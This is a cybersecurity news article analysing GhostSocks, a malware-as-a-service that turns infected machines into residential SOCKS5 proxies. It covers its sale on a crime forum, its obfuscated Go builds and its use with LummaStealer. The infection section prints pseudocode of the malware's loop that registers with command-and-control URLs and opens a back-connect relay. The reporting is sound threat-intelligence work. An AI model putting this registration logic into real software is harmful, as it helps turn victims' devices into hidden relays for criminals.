Cyber Security News

New GhostSocks Malware-as-a-Service Enables Threat Actors to Convert Compromised Devices into Proxies

An operator known as GhostSocks advertised a novel Malware-as-a-Service (MaaS) on the Russian cybercrime forum XSS.is on October 15, 2023, promising to transform compromised devices into residential SOCKS5 proxies.

The service capitalized on the inherent trust placed in residential IP addresses to bypass anti-fraud systems and avoid detection by network defenders.

Early promotional posts showcased a web-based control panel that offered centralized management of devices, sub-accounts, and automated build generation for both Windows and UNIX targets.

GhostSocks Sales Thread (Source – Synthient)

The GhostSocks MaaS model eliminates the need for threat actors to maintain external proxy servers, reducing operational costs and infrastructure complexity.

Builds are compiled in native Go and range from 3 MB before obfuscation to 8 MB afterward, leveraging the open-source garble project for string and symbol obfuscation.

Once deployed, GhostSocks runs entirely in memory, providing SOCKS5 functionality without implementing its own persistence mechanism.

Synthient analysts noted the malware’s reliance on other initial-access tools, such as LummaStealer, to gain footholds on victim systems, underscoring the interconnected nature of modern threat actor ecosystems.

The service quickly gained traction beyond low-level cybercriminals; leaked BlackBasta ransomware chat logs from February 2025 reveal discussions about integrating GhostSocks alongside LummaStealer to maintain long-term network access without raising suspicion.

Leaked BlackBasta chat logs and their discussion of GhostSocks (Source – Synthient)

In the aftermath of law enforcement takedowns of LummaStealer infrastructure, GhostSocks continued to operate, albeit with reduced visibility on underground forums.

Its resilience highlights the adaptability of MaaS offerings in the continually evolving cybercrime landscape.

Infection Mechanism

GhostSocks deployments typically begin with a dropper delivered by a separate malware family. Upon execution, the GhostSocks binary first acquires a global mutex named "start_to_run" to prevent multiple instances.

It then searches the %TEMP% directory for a configuration file; if unavailable, it falls back to a hardcoded encrypted blob.

After decrypting this blob, GhostSocks iterates over a list of embedded C2 URLs until a successful HTTP 200 response is returned, at which point it provisions SOCKS5 credentials.

The following pseudocode illustrates the relay resolution loop:-

for _, url := range c2List {
    resp, err := http.Get(url + "/apihelper-first-register?buildVersion=" + version +
                          "&proxyPassword=" + pwd + "&proxyUsername=" + user)
    if err != nil || resp.StatusCode != http.StatusOK {
        continue
    }
    creds := extractCredentials(resp.Body)
    setupSocks5(creds)
    break
}

After registration, GhostSocks spawns a back-connect SOCKS5 session using the open-source go-socks5 and yamux libraries, effectively turning the victim host into a transparent relay for downstream clients.

GhostSocks system design (Source – Synthient)

This infection mechanism allows threat actors to monetize compromised hosts at scale while minimizing detectable network infrastructure.

Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

Tushar Subhra Dutta

Tushar is a senior cybersecurity and breach reporter. He specializes in covering cybersecurity news, trends, and emerging threats, data breaches, and malware attacks. With years of experience, he brings clarity and depth to complex security topics.

Recent Posts

China-linked APT24 Hackers New BadAudio Compromised Legitimate Public Websites to Attack Users

APT24, a sophisticated cyber espionage group linked to China's People's Republic, has launched a relentless…

6 minutes ago

Broadcom Allegedly Breached by Clop Ransomware via E-Business Suite 0-Day Hack

The Cl0p ransomware group has claimed responsibility for infiltrating Broadcom's internal systems as part of…

43 minutes ago

Critical Grafana Vulnerability Let Attackers Escalate Privilege

Grafana Labs has disclosed a critical security vulnerability affecting Grafana Enterprise that could allow attackers…

47 minutes ago

Critical ASUSTOR Vulnerability Let Attackers Execute Malicious Code with Elevated Privileges

A critical security vulnerability has been discovered in ASUSTOR backup and synchronization software, allowing attackers…

2 hours ago

Windows 11 to Hide BSOD Crash Errors on Public Displays

Microsoft has introduced a practical new feature in Windows 11 designed specifically for public-facing monitors…

3 hours ago

SonicOS SSLVPN Vulnerability Let Attackers Crash the Firewall Remotely

SonicWall has disclosed a critical stack-based buffer overflow vulnerability in its SonicOS SSLVPN service. That…

5 hours ago